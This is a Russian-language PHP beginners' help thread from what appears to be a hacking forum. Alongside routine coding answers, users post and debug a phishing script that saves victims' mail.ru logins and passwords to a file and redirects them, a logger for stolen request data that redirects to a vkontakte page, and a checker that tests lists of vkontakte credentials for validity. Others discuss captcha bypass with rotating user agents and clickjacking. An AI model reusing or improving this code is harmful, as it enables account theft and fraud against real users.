Просмотр полной версии : [php] Новичкам: задаем вопросы
потому что $fp - resource handle.
А как его можно вывести на печать?
Подскажите пожалуйста, как реализовать следующее:
Есть сайт. К сайту подключаются пхп страницы с каким либо контентом(скрипт теста, картинки и т.п.). Как сделать iframe, чтобы можно было разместить ТОЛЬКО содержимое пхп странички на других страницах? у меня получается размещать только полную страничку.. Подскажите пожалуйста.
Люди,кто-нибудь знает,как обходится капча ? Делится ли она как-то ?(Всмысле,на категории,подкатегории и т.д.).Какие методы сопряжения с CURLом имеются? По возможности,с примером.Хочу попробовать обойти её =_=.Капча сервисы сразу отпадают,так как они не всегда доступны...плюс не знаю,как такое реализуется)))
капча - берется переменная, заносится ее значение на рисунок и он, вместе с хэшем переменной отсылается получателю.
_SEREGA_
08.03.2009, 03:10
Люди, помогите пожалуйста. Я новичок в этом деле.Я начинаю изчать PHP т.к. хочу научиться делать пхп инЪекции и XSS. я зарегал хостинг с php и залил свой индекс.хтмл
с таким содержимым:
<html>
<head>
<title>Тестируем PHP</title>
</head>
<body>
<?php echo 'Hello, world!'; ?>
</body>
</html>
что должно было получиться? правильно я написал? и кагда я открыл свой сайт там токо название вкладки и пустая страница((((((((( что я не так делаю! может ктонить подскажет литеретуру для новичка с уклоном не на разработку сайтов а на проведение атак! я неплохо знаю с++ и немного хтмл.
Люди, помогите пожалуйста. Я новичок в этом деле.Я начинаю изчать PHP т.к. хочу научиться делать пхп инЪекции и XSS. я зарегал хостинг с php и залил свой индекс.хтмл
с таким содержимым:
<html>
<head>
<title>Тестируем PHP</title>
</head>
<body>
<?php echo 'Hello, world!'; ?>
</body>
</html>
что должно было получиться? правильно я написал? и кагда я открыл свой сайт там токо название вкладки и пустая страница((((((((( что я не так делаю! может ктонить подскажет литеретуру для новичка с уклоном не на разработку сайтов а на проведение атак! я неплохо знаю с++ и немного хтмл.
1) Читай статьи.
2) Попаивает пиздблс,еслибы ты знал C++ неплохо,то не возникало бы вопросов при программирровании на PHP-средний уровень,так как языки очень охожи.
3) Опятьже,если бы знал C++ то знал бы что должно получиться)
4) А хостинг хотябы php поддерживает?или ты на narod.ru залил? оО
_SEREGA_
08.03.2009, 03:18
Я так себе понимаю синтаксис но не врубаюсь куда пихать код, я хостинг на hut.ru зарегал
может посоветуете нормальный хостинг (бесплатный конечно) с полноценным пхп?
Должно было окошко с текстом появиться?
да твой хостинг пхп скрипты держит
создаешь файл Index.php а не html
в нем пишешь
<?
phpinfo();
?>
imajo.ati
08.03.2009, 05:46
есть ли различия в работе функции stream_socket_accept
в версиях php под win и unix ?
я не могу найти, в чём проблема:
после первого принятого соединения в unix версии php, функция stream_socket_accept всегда возвращает false на новые соединения до тех пор, пока не закроется единственное первое.
но клиент показывает, что соединение установлено. значит функция устанавливает соединение но не возвращает handle.
наглядно так:
клиент 1 коннектится - его функция обрабатывает корректно
клиент 2 коннектится - функция устанавливает соединение но возвращает false и я не могу получить handle сокета этого нового юзера.
так же и с последующими.
в win всё норм работает - то есть принимает исправно все соединения после первого.
версия php 5.2.8 и там и там
-m0rgan-
08.03.2009, 06:01
Люди,кто-нибудь знает,как обходится капча ? Делится ли она как-то ?(Всмысле,на категории,подкатегории и т.д.).Какие методы сопряжения с CURLом имеются? По возможности,с примером.Хочу попробовать обойти её =_=.Капча сервисы сразу отпадают,так как они не всегда доступны...плюс не знаю,как такое реализуется)))
https://forum.antichat.ru/nextnewesttothread74533.html
обход капчи на яндексе
и
http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=2BT&ei=fyWzSb60Goay0AWe2PGHAQ&sa=X&oi=spell&resnum=1&ct=result&cd=1&q=%D0%BE%D0%B1%D1%85%D0%BE%D0%B4+%D0%BA%D0%B0%D0%B F%D1%87%D0%B8&spell=1
вот)
mailbrush
08.03.2009, 11:56
Велемир, если капча не очень сложная - перебирают попиксельно.
imajo.ati Смотря как именно реализовано. Следующий код у меня нормально работает и на винде и на никсах
#!/usr/local/bin/php
<?php
$port = 9050;
$sock = stream_socket_server('tcp://0.0.0.0:'.intval($port), $errno, $errstr);
$clients = array($sock);
while (true)
{
$read = $clients;
if (stream_select($read, $write = NULL, $except = NULL, 5) < 1)
continue;
if (in_array($sock, $read))
{
$clients[] = $newsock = stream_socket_accept($sock);
fwrite($newsock, "Welcome to server\r\n");
$ip = stream_socket_get_name($newsock, true);
echo "New client connected: {$ip}\n";
$key = array_search($sock, $read);
unset($read[$key]);
}
foreach ($read as $read_sock)
{
$data = @fgets($read_sock, 1024);
if ($data === false)
{
$key = array_search($read_sock, $clients);
unset($clients[$key]);
echo "client disconnected.\n";
continue;
}
$data = trim($data);
if (!empty($data)) {
foreach ($clients as $send_sock)
{
if ($send_sock == $sock || $send_sock == $read_sock)
continue;
fwrite($send_sock, $data."\r\n");
}
}
}
}
fclose($sock);
?>
Я так себе понимаю синтаксис но не врубаюсь куда пихать код, я хостинг на hut.ru зарегал
может посоветуете нормальный хостинг (бесплатный конечно) с полноценным пхп?
Должно было окошко с текстом появиться?
Нет. Команда echo просто выведет в экран браузера данные, которые ты ей указал в параметрах. То есть результатом твоей программы будет:
<html>
<head>
<title>Тестируем PHP</title>
</head>
<body>
Hello, world!
</body>
</html>
Именно это прилетит в браузер (можешь посмотреть HTML код в браузере). Соответственно, ты увидишь только фразу "Hello, world!".
Насчет фришного хостинга: загугли "Бесплатный хостинг PHP". Из личного опыта: tut.su, ayola.net - бесплатные, но постят рекламу, а также следят за тем, что ты у них размещаешь.
Для разработки программ на php лучше подними у себя web-сервер с php. Это не так сложно. Зато получишь полный доступ ко всем настройкам php (очень важно при разработке программ) и не будешь мучаться с заливкой файлов.
Знаю что тема заезженная, но на форуме по поиску не нашел. Как проверить поля на соответствие?
Тоесть чтоб в поле e-mail вводили мыло, и т.п. Чтобы поля не были пустыми. Вроде слышал что нужен AJAX скрипт. Подскажите пожалуйста.
п.с. насчет этого никто не поможет? http://forum.antichat.ru/showpost.php?p=1155867&postcount=9314
spamoney
08.03.2009, 14:40
Здравствуйте, помогите правильно составить регулярку, что бы если строка более N-го количества символов (допустим более 40), то эта строка обрезается по последний пробел, пробывал сам, вот что получилось:
function cut ($str, $dlina='40') {
if (preg_match('#^([\s\S]{'.$dlina.'}[^\!\.\?]*)[\.\!\?]#i',strip_tags($str),$match)) $code = $match[1];
else if (preg_match('#^([\s\S]{'.$dlina.'}[^\ \ ]*)[\ \ ]#i',strip_tags($str),$match)) $code = $match[1];
return $code;
}
$text='Исследование программных продуктов, защит программного обеспечения, низкоуровневое программирование';
echo "Символов до: ".strlen(strip_tags($text))."<br />";
$text=cut($text);
echo "$text<br />";
echo "Символов после: ".strlen(strip_tags($text))."<br /><br /><br />";
$text='Исследование программных продуктов, защитатников';
echo "Символов до: ".strlen(strip_tags($text))."<br />";
$text=cut($text);
echo "$text<br />";
echo "Символов после: ".strlen(strip_tags($text))."<br />";
но функция cut(); работает только если текст более 40 символов и после этих 40 символов есть пробел, вот код выполнения:
Символов до: 99
Исследование программных продуктов, защит
Символов после: 41
Символов до: 48
Notice: Undefined variable: code in script.php on line 8
Символов после: 0
А нужно что бы было так:
Символов до: 99
Исследование программных продуктов, защит
Символов после: 41
Символов до: 48
Исследование программных продуктов
Символов после: 34
Знаю что тема заезженная, но на форуме по поиску не нашел. Как проверить поля на соответствие?
Тоесть чтоб в поле e-mail вводили мыло, и т.п. Чтобы поля не были пустыми. Вроде слышал что нужен AJAX скрипт. Подскажите пожалуйста.
п.с. насчет этого никто не поможет? http://forum.antichat.ru/showpost.php?p=1155867&postcount=9314
Делается это вот так:
<HTML>
<head>
<SCRIPT LANGUAGE="JavaScript">
function checkIt() {
//Проверка поля mail формы form1
if (document.forms.form1.mail.value != "") {
} else {
alert("Не заполнено поле \"Мыло\" в форме. \n\nПожалуйста, введите мыло.");
document.forms.form1.mail.focus();
return false;
}
//Сюда можно вставить проверку других полей
return true;
}
</SCRIPT>
</head>
<body>
<form action="" method="GET" name="form1">
Мыло: <input type="text" name="mail" value="" size="30" />
<input type="submit" value="Отправить" onclick="return checkIt()"/>
</form>
</body>
</HTML>
Поясню, как это работает:
При нажатии кнопки отправить вызывается функция ChekIt(), если она возвращает True, то данные отправляются, в противном случаи - нет.
В функции ChekIt() необходимо проверить каждое поле на "заполненность":
if (document.forms.form1.mail.value != "") {
} else {
alert("Не заполнено поле \"Мыло\" в форме. \n\nПожалуйста, введите мыло.");
document.forms.form1.mail.focus();
return false;
}
В том порядке, в котором ты хочешь, чтобы возвращались сообщения об ошибках, если не заполнено несколько полей. Этот кусок кода проверяет, заполнено ли поле mail, и, если нет, сообщает об ошибке, переводит курсор в это поле и возвращает False, чтобы форма не отправлялась на сервер. Для обработки других полей скопируй этот кусок кода столько раз, сколько необходимо. Только не забудь исправить имя поля (в ДВУХ местах) и поправить текст сообщения.
Ну и в конце функции, если все поля успешно заполнены, то возвращаем true.
initab,
со вторым полем проблема, не проверят поле password. Изменил все как положено..
if (document.forms.password.password.value != "") {
} else {
alert("Не заполнено поле \"Пароль\" в форме. \n\nПожалуйста, введите свой пароль."); // выводит сообщение, если поле Subject не заполнено
document.forms.password.password.focus();
return false;
}
spamoney Как-то так
function cut($str,$len=40)
{
if (strlen($str)<=$len) return $str;
else {preg_match('~^([\s\S]{' . intval($len) . '}[^ ]*)?~', $str,$match); return $match[1];}
return false;
}
$str='Исследование программных продуктов, защит программного обеспечения, низкоуровневое программирование';
echo strlen($str).'-----'.cut($str);
spamoney
08.03.2009, 16:24
spamoney Как-то так
function cut($str,$len=40)
{
if (strlen($str)<=$len) return $str;
else {preg_match('~^([\s\S]{' . intval($len) . '}[^ ]*)?~', $str,$match); return $match[1];}
return false;
}
$str='Исследование программных продуктов, защит программного обеспечения, низкоуровневое программирование';
echo strlen($str).'-----'.cut($str);
Пасиб, но немного не то, если берем строчку:
$str='Исследование программных продуктов, низкоуровневое программирование';
то на выходе получим:
67-----Исследование программных продуктов, низкоуровневое
а нужно что б было так:
36-----Исследование программных продуктов,
т.е нужно что б строка на выходе была меньше или равна 40 символам и была обрезана по последнему пробелу (что бы не обрезалось пол слова)
Если тебе лень печатать,то пожалуйста
.
я в плане оптимизации)
Тогда так
function cut($str,$len=40)
{
if (strlen($str)<=$len) return $str;
else {return preg_replace('~ [^ ]*$~','',substr($str,0,$len));}
}
$str='Исследование программных продуктов, низкоуровневое программирование';
echo strlen($str).'-----'.cut($str);
initab,
со вторым полем проблема, не проверят поле password. Изменил все как положено..
if (document.forms.password.password.value != "") {
} else {
alert("Не заполнено поле \"Пароль\" в форме. \n\nПожалуйста, введите свой пароль.");
document.forms.password.password.focus();
return false;
}
Неправильно изменил. Вот это: ".document.forms.password.password" должно быть так: ".document.forms.form1.password". В общем виде ".document.forms.ИМЯ_ФОРМЫ.ИМЯ_ПОЛЯ"
mr.Babay
08.03.2009, 23:37
Ммм... как бы сделать так чтобы при попадении пользователя на страницу определялся его браузер и в связи с этим показывалась определённая страница?!
з.ы. например для клик-джекинга...
$_SERVER[HTTP_USER_AGENT];
valikiev
09.03.2009, 03:47
Здравствуйте, подскажите пожалуйста как безопасней будет сделать, так:
if (isset($_GET['id']) && $_GET['id'] === '1' || $_GET['id'] === '5')
{
.......................................
}
или так:
if (isset($_GET['id']) && $_GET['id'] == '1' || $_GET['id'] == '5')
{
.......................................
}
Спасибо.
valikiev
if(isset($_GET['id']) && ($_GET['id'] == 1 || $_GET['id'] == 5)) {
/* ... */
}
=== - можно сказать,если переменная равна ХОТЯБЫ единице,тоесть все что выше тоже пройдет
== - обсалютно точно рана единице.Все что выше-ниже не пройдет.
Это насколько я помню.
Pashkela
09.03.2009, 03:58
безопасней будет if (isset($_GET['id']) && intval($_GET['id']) ==1 ||intval($_GET['id']) == 5)
=== - можно сказать,если переменная равна ХОТЯБЫ единице,тоесть все что выше тоже пройдет
== - обсалютно точно рана единице.Все что выше-ниже не пройдет.
Это насколько я помню.
нет.
== - оператор равенства, приводит оба операнда к одному типу данных (0 равно false)
=== - оператор эквивалентности, сравнивает также типы (0 не равно false)
valikiev
09.03.2009, 04:00
Ясно, я просто просматривал это http://www.realcoding.net/article/view/1999 там есть табличка с операторами:
== != === <>
Равно, не равно, идентично, не равно
Я наверное не так понял, спасибо за подсказку.
php - язык исполняемый на стороне сервера и выдающий в качестве результата(если тебе это надо) html-страницу. Чтобы провести атаку используя баги php тебе нужен именно исходник. html-страница -- это результат работы php-скрипта(так наверное тебе понятней будет)
zifanchuck
09.03.2009, 14:41
А где этот исходник взять если его нету?
поищи исходники в интернете. может чето нароеш
А где этот исходник взять если его нету?
ты ж сам сказал, что поставил апач+php и написал скрипт! Вот этот скрипт - есть исходник!
А чтобы искать php баги, например, в IPB, тебе соответственно, нужны исходники IPB.
ps Заходишь на сайт, который хочешь "проверить", смотришь на каком движке он работает, качаешь двиг и анализируешь работу скрипта.
zifanchuck
09.03.2009, 14:56
Чето никак непойм как реализовать:
Мне надо что бы через скрипт менялся юзер_агент (ну вроде я с разных браузеров захожу). Чето ищу ищу и ненахожу((( как ето делаеться?
Отправляй нужные заголовки и все.
Вот пример на Curl:
curl_setopt($ch, CURLOPT_USERAGENT,
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
zifanchuck
09.03.2009, 14:59
Отправляй нужные заголовки и все.
о спс)))
Чето никак непойм как реализовать:
Мне надо что бы через скрипт менялся юзер_агент (ну вроде я с разных браузеров захожу). Чето ищу ищу и ненахожу((( как ето делаеться?
любой HTTP запрос имеет строгую структуру, в которой указывается тип броузера клиента(параметр User-Agent)
Просто берём и формирует http-request с разным значением параметра user-agent.
на php примерно так выглядит:
$request =
"GET http://".$host.$pathname." HTTP/1.0\r\n".
"host: ".$host."\r\n".
"user-agent: ".$you_useragent."\r\n".
"Connection: close\r\n".
"\r\n";
if(!$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)){
echo "Error creating socket!\r\n";
$error = false;
}
if(!$result = socket_connect($socket, $host, '80')){
echo "Error socket connecting!\r\n";
$error = false;
}
if(!socket_write($socket, $request, strlen($request))){
echo "Error writing to socket!\r\n";
$error = false;
}
while ($recv = socket_read($socket,512)){
$tmp .= $recv;
}
socket_close($socket);
в итоге в переменной $tmp будет ответ сервера.
zifanchuck
09.03.2009, 16:55
Простите бедного школьника(((но чето гуглю и книгу читаю но непойму как зделать
короче есть сайт который роздает аси. там ограничения 300 секунд. что бы выиграть надо ввести капчу а там как повезет :)
ограничения обходиться 2ма способами.
1)Другой браузер
2)Перезагрузкой браузера
Незнаю как скриптом оформить или первый или второй вариант(((
думал через подмену юзер агента и вставлять рандомный из списка, но чето никак не роздууплюсь как((
Поставил себе на деневер форму
<html>
<head>
<title></title>
</head>
<body>
<form action="http://www.free-uin.org/r/mnlxswrt.php" method="post">
Для участия в розыгрыше номеров ICQ введите защитный код, и нажмите кнопку "Мне повезёт":<br />
<img src="http://www.free-uin.org/r/img.php?regen=y&<?php echo time(); ?>" />
<input type="text" name="code" /><br /><br />
<input name=btnI type=submit value="Мне повезёт!">
</form>
</body>
</html>
капча выскакивает ввожу перекидывает на страницу сайта и говорит выиграл или нет. как мне организовать обход етой баги незнаю. Может кто поможе вписать в ету форму скрипт или хоть линк на норм статью даст, а то гугл толком ничего нормального не посоветывал(((
Писать скрипт не буду,объясню саму работу,как ее вижу я.
Создаем массив,в нем храним строки вида:
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'
Много разных вариантов,достаточно будет штук 30-40.
Создаем подключение курл,в цикле,и дергаем картиночку с помощью курла,а в заголовке указываем $massiv[$i] чтобу узер-агент постоянно менялся.
Выводим картинку,заставляем вбитьее руками,и жмем на сабмит.
После нажатия,опятьже курлом,с темеже заголовками тянемся к серверу по сылке,в гет-запросе передаем введеную капчу.Выводим юзеру его номер-и пасс.
И так в цикле,со слипами или без них.
zifanchuck
09.03.2009, 18:26
Много разных вариантов,достаточно будет штук 30-40.
Создаем подключение курл,в цикле,и дергаем картиночку с помощью курла,а в заголовке указываем $massiv[$i] чтобу узер-агент постоянно менялся.
Выводим картинку,заставляем вбитьее руками,и жмем на сабмит.
После нажатия,опятьже курлом,с темеже заголовками тянемся к серверу по сылке,в гет-запросе передаем введеную капчу.Выводим юзеру его номер-и пасс.
И так в цикле,со слипами или без них.
спс. Осталось токо выучить курл))) вот забабахаю норм скрипт и выложу на ачате)))
спс. Осталось токо выучить курл))) вот забабахаю норм скрипт и выложу на ачате)))
иди,ваяй.Будем ждать мего-реггер 4-знаков icq :)
zifanchuck
09.03.2009, 19:19
m0Hze, а можеш подкинуть норм мануал по курлу? А то у меня в книге про него нету а гугл давал токо какуюто хню(
m0Hze, а можеш подкинуть норм мануал по курлу? А то у меня в книге про него нету а гугл давал токо какуюто хню(
Буду пародировать Енотку:
Совсем обленились,вот лучший мануал по php!
http://ru.php.net/manual/ru/book.curl.php
(Следуя советам енота,я вот так вот постигаю php :))
PS.А вот работу курл,мне разьяснял b3, за что ему огромное спасибо.Но досих пор нахожу чтото новое на php.net, более полного мануала нет нигде.
mailbrush
09.03.2009, 19:41
Что лутше - курл или соксы?
Я лично юзаю соксы, потому что курл не учил, и мне кажеться что соксы лутше.
mailbrush, как можно сравнить курл и соксы? соксы это тоже библиотека к PHP? ты что-то путаешь
zifanchuck
09.03.2009, 19:49
Что лутше - курл или соксы?
Я лично юзаю соксы, потому что курл не учил, и мне кажеться что соксы лутше.
может сокеты?
Pashkela
09.03.2009, 19:54
Если поддержка curl - то курлы лучше.
Что лутше - курл или соксы?
Я лично юзаю соксы, потому что курл не учил, и мне кажеться что соксы лутше.
мой взгляд таков. Соксы занимают менььше кода,но все както разрознено.
Ктото помоему(!) уже говорил что курлы быстрее.И мне удобнее юзать их,так как там все указываеться просто,через сетопт,и никаких вам корявых .= и прочей нечести с циклами :(
InferNo23
09.03.2009, 19:59
мой взгляд таков. Соксы занимают менььше кода...
Нифига не меньше, даже больше, или ты с курлом установишь переменные и одной функцией прочитаешь ответ, или будешь все заголовки писать, открывать соединение, и читать ответ.
Нифига не меньше, даже больше, или ты с курлом установишь переменные и одной функцией прочитаешь ответ, или будешь все заголовки писать, открывать соединение, и читать ответ.
если....
zifanchuck
09.03.2009, 20:01
InferNo23 как ты сказал "Глупые споры и выбор что лучше/хуже.". Для кого лутше сокеты для кого курлы))
mailbrush
09.03.2009, 20:02
Ошибся. Сокеты
вы все глупаи,пипец.
Всегда пользовался file_get_contents :D
Ктото помоему(!) уже говорил что курлы быстрее
уложат сервер спать :D :D
http://habrahabr.ru/blogs/php/42158/
почитайте, и будте добры, посмотрите длину кода :eek:
Нельзя
$myrow[Здесь указываешь поле которое хочешьвывести] ,никаких сложных конструкций тебе пока не надо
mixkorshun
09.03.2009, 21:22
erihtoney
После этого кода у тебя в переменной $myrow массив из полей базы данных первого результата.. mysql_fetch_array надо выполнять в цикле.. Если тебе надо отобрать у всех записей имя "Cаша", то
$result=mysql_query("SELECT * FROM `users` WHERE `name`=`Саша`");
с тя ++)
mixkorshun
09.03.2009, 21:34
erihtoney
давай в пм я - те все объясню 100%
наорд, подскажите! как мне сделать чтоб после этого он перебрасывал на другую страницу!?
<?php
if(isset($_GET[1])){
$fp = fopen("log.html", "a+");
fwrite($fp, '<h1>'.date('H:i:s d F Y').'</h1>'."\r\n".'<textarea rows=40 cols=150>'.$_GET[1].'</textarea><br><br>' . "\r\n");
fclose($fp);
}
?>
mixkorshun
09.03.2009, 22:25
Van4ozA
когда перебрасывать надо, текст на страницу выписывается??
нет, просто выполнял выше написанное и сразу просо перебрасывал... например на _http://vkontakte.ru/login.php?op=logout
Pashkela
09.03.2009, 22:56
fclose($fp);
header("Location: http://vkontakte.ru/login.php?op=logout");
Есть .txt файл вида:
1
2
3
и пшп код:
$qwe = "qwe";
$probel = ":";
$lines = file ($filename);
foreach ($lines as $line_num => $line)
{
$array = array ($line_num => htmlspecialchars($line));
echo ($line.$probel.$qwe);
echo ("<br> \n");
}
Тоесть замысел такой, из файла .txt берём циферку и прибавляем ей $probel и $qwe ... но в браузере выходит так:
1 :qwe
2 :qwe
3 :qwe
После цифры стоит %№!!! пробел!! .... я пробывал и trim и пихал <br> куда только можно ... не помогает(((
исходный код такой:
1
:qwe<br>
2
:qwe<br>
3:qwe<br>
обратите внимание на последнюю строку .... как мне убрать чёртов пробел после цифры ?
Pashkela
09.03.2009, 23:52
<pre>
<?php
$qwe = "qwe";
$probel = ":";
$lines = array_map("trim", file("tema1.txt")); // Название файла где 1,2,3
for ($i=0;$i<count($lines);$i++) {
echo $lines[$i].$probel.$qwe . "\n";
}
?>
</pre>
создал очередной фэйк, перекидывает куда нужно после ввода данных в поля. в базу поступает только один символ после того как логинишься
:
в чём проблема?вроде всё ок.
<?PHP
$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë
header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!
?>
создал очередной фэйк, перекидывает куда нужно после ввода данных в поля. в базу поступает только один символ после того как логинишься
:
в чём проблема?вроде всё ок.
<?PHP
$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë
header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!
?>
нафига дублировать, тебе ответили уже
https://forum.antichat.ru/thread110183.html
-m0rgan-
10.03.2009, 03:31
Ре адепты!
вопрос:
сделал форму ввода текстеа,но когда я хочу написать что то с новой строки и послать в бд, то облом, текст выглядит не так,как я его набрал,там где должно быть с новой строки - там идёт вряр...как исоравить?
Пример:
ввожу:
1
2
3
получаю:
1 2 3
str_replace("\n","<br>",$text);
Pashkela
10.03.2009, 04:00
http://ru.php.net/nl2br
Хочу закодировать текст.
<?php
eval(str_rot13('function check_footer(){$l='<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress';$f=dirname(__FILE__).'/footer.php';$fd=fopen($f,'r');$c=fread($fd,filesiz e($f));fclose($fd);if(strpos($c,$l)==0){echo 'This theme is released under creative commons licence, all links in the footer should remain intact';die;}}check_footer();'));
eval(str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo('This theme is released under creative commons licence, all links in the footer should remain intact');die;}}'));
?>
Получаю ошибку
Parse error: syntax error, unexpected T_STRING in Z:\home\test2.ru\www\wp-content\themes\ForestGreen\test2.php on line 12
что делаю не так?
TERYS посмотри ты там не закрыл в нужных местах кавычку. юзай редакторы с подсветкой кода!
TERYS, ты забыл экранировать кавычки в нужных местах.
kraken, все у него кавычки на местах.
капча - берется переменная, заносится ее значение на рисунок и он, вместе с хэшем переменной отсылается получателю.
Эээ...а есть примеры где-нибудь мб ? Я про капчу почти ничего не знаю,кроме как того,что она тормозит регу )))
TERYS твой код
<?php
eval(str_rot13('function check_footer(){$l=\'<a href="http://www.askgraphics.com/">Website design</a> by AskGraphics.com | <a href="http://www.skinpress.com/">Wordpress themes</a> by SkinPress\';$f=dirname(__FILE__).\'/footer.php\';$fd=fopen($f,\'r\');$c=fread($fd,file siz e($f));fclose($fd);if(strpos($c,$l)==0){echo \'This theme is released under creative commons licence, all links in the footer should remain intact\';die;}}check_footer();'));
eval(str_rot13('function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo(\'This theme is released under creative commons licence, all links in the footer should remain intact\');die;}}'));
?>
тривиальный пример каптчи:
<?php
session_start();
$c = rand(10000, 99999);
$_SESSION['c']=$c;
$im = imagecreate(100, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);
imagestring($im, 5, 0, 0, $_SESSION['c'], $textcolor);
header("Content-type: image/png");
imagepng($im);
?>
рандомом берется пятизначное число, записывается в сессию и выводится на экран в виде png
на счет качественной каптчи лучше погугли. есть довольно интерсеные.
есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
тестил на денвере всё ок!
Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:
Цитата:TuTu.94@inbox.ru:Ma21212121marua118@m ail.ru:VfhbyfLfybktyrjalex260587@rambler.ru:260587
т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
вот кусок начала кода чекера:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes = 0;
$traffic = 0;
$badacc = 0;
$friendz = 0;
$ratecount = 0;
$goldcount = 0;
$fbad = fopen("lowrate.txt","w");
fclose($fbad);
$fbad = fopen("lowrate.txt","a+");
$fval = fopen("valid.txt","w");
fclose($fval);
$fval= fopen("valid.txt","a+");
@$filelog = file_get_contents("log.txt");
if(!empty($_POST['list']))
{
$accs123 = split("\n",$_POST['list']); }
else {
$accs123 = split("\n",$filelog); }
if(empty($_POST['list']) && empty($filelog)) {
$aaaa = 0; } else {
$aaaa = count($accs123); }
if(!isset($_POST['list'])) {
echo <<<list
<center><form method="post">
<p>
Список акков <br>
Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
кто поможет разобраться? в долгу не останусь)
wildshaman
10.03.2009, 21:08
есть проблема с чекером. Сразу говорю, чекер-паблик, нашёл на злом, датирован август 2008.
но чекает четко: валид-невалид, кол-во друзья, рейт; подчсет в сумме...
тестил на денвере всё ок!
Проблема заключается в том, что когда чекает акки, то вписывает в конечный файл вот такой вид:
т.е. пишет всё в одну строчку... копаясь в коде, ниче не нашёл.
вот кусок начала кода чекера:
кто поможет разобраться? в долгу не останусь)
не тот кусок кода дал.
fwrite не видно что-то)
wildshaman не тот кусок кода дал. fwrite не видно что-то)
дык, я когда копался, то смотрел по примеру др. php кода, то сам не нашёл ниче такого...
нужны ещё вроде put() либо fputs() посоветовали..
fputs() тока в коде имеется:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes = 0;
$traffic = 0;
$badacc = 0;
$friendz = 0;
$ratecount = 0;
$goldcount = 0;
$fbad = fopen("lowrate.txt","w");
fclose($fbad);
$fbad = fopen("lowrate.txt","a+");
$fval = fopen("valid.txt","w");
fclose($fval);
$fval= fopen("valid.txt","a+");
@$filelog = file_get_contents("log.txt");
if(!empty($_POST['list']))
{
$accs123 = split("\n",$_POST['list']); }
else {
$accs123 = split("\n",$filelog); }
if(empty($_POST['list']) && empty($filelog)) {
$aaaa = 0; } else {
$aaaa = count($accs123); }
if(!isset($_POST['list'])) {
echo <<<list
<center><form method="post">
<p>
Список акков <br>
Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
<textarea name="list" rows=15 cols=37></textarea><br>
<input type="submit" value="Проверить" >
</p>
</form></center>
list;
echo ("<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
die();
}
$valid = 0;
$invalid = 0;
@$filelog = file_get_contents("log.txt");
set_time_limit(0);
if(!empty($_POST['list']))
{
$accs = split("\n",$_POST['list']);
}
else {
$accs = split("\n",$filelog); }
$accs = array_unique($accs);
if(!empty($accs)) {
$browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
echo '<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
foreach($accs as $acc)
{
$pos = strpos($acc, ";");
$pos1 = strpos($acc, ":");
$acc = trim($acc);
if($pos != false) {
$separator = ";"; }
if($pos1 != false) {
$separator = ":"; }
list($login, $pwd) = split($separator, $acc);
$ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'','');
$traffic = $traffic + strlen($ret);
if(preg_match("/\b302 Found\b/is", $ret)) {
fputs($fval, $acc);
$valid++;
}
$ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
$cookies = array();
foreach($cook[1] as $ck)
{
$cookies[]=$ck;
}
$cookies=implode('; ',array_unique($cookies));
$ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
$traffic = $traffic + strlen($ret);
preg_match('/remixmid=(\d+);/i',$cookies, $id);
preg_match('/У Вас <b>(.*)</i',$ret, $vote);
$votes = $votes + $vote[1];
if(!empty($vote[1])) {
$voteansw = "<td><b>Голосов - $vote[1]</b></td>";
}
else {
$voteansw = "<td>Голосов - 0</td>"; }
$retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
$traffic = $traffic + strlen($retfri);
